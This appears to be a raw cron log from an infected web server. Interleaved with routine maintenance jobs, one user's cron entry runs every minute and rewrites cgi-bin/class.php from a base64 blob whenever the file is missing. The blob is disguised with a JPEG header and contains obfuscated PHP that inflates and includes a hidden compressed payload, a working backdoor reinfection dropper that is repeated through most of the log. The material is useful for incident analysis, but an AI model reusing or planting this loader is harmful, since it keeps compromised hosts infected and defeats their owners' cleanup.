Nov 15 07:14:01 server CROND[24449]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:15:01 server CROND[24818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:15:01 server CROND[24819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:15:01 server CROND[24820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:16:01 server CROND[25170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:17:01 server CROND[25462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:18:01 server CROND[25775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:19:01 server CROND[26144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:20:01 server CROND[26448]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 07:20:01 server CROND[26449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 07:20:01 server CROND[26450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:20:01 server CROND[26452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:20:01 server CROND[26451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:21:01 server CROND[26893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:22:01 server CROND[27186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:23:01 server CROND[27464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:24:01 server CROND[27755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:25:01 server CROND[28043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:25:01 server CROND[28044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:25:01 server CROND[28045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:26:01 server CROND[28473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
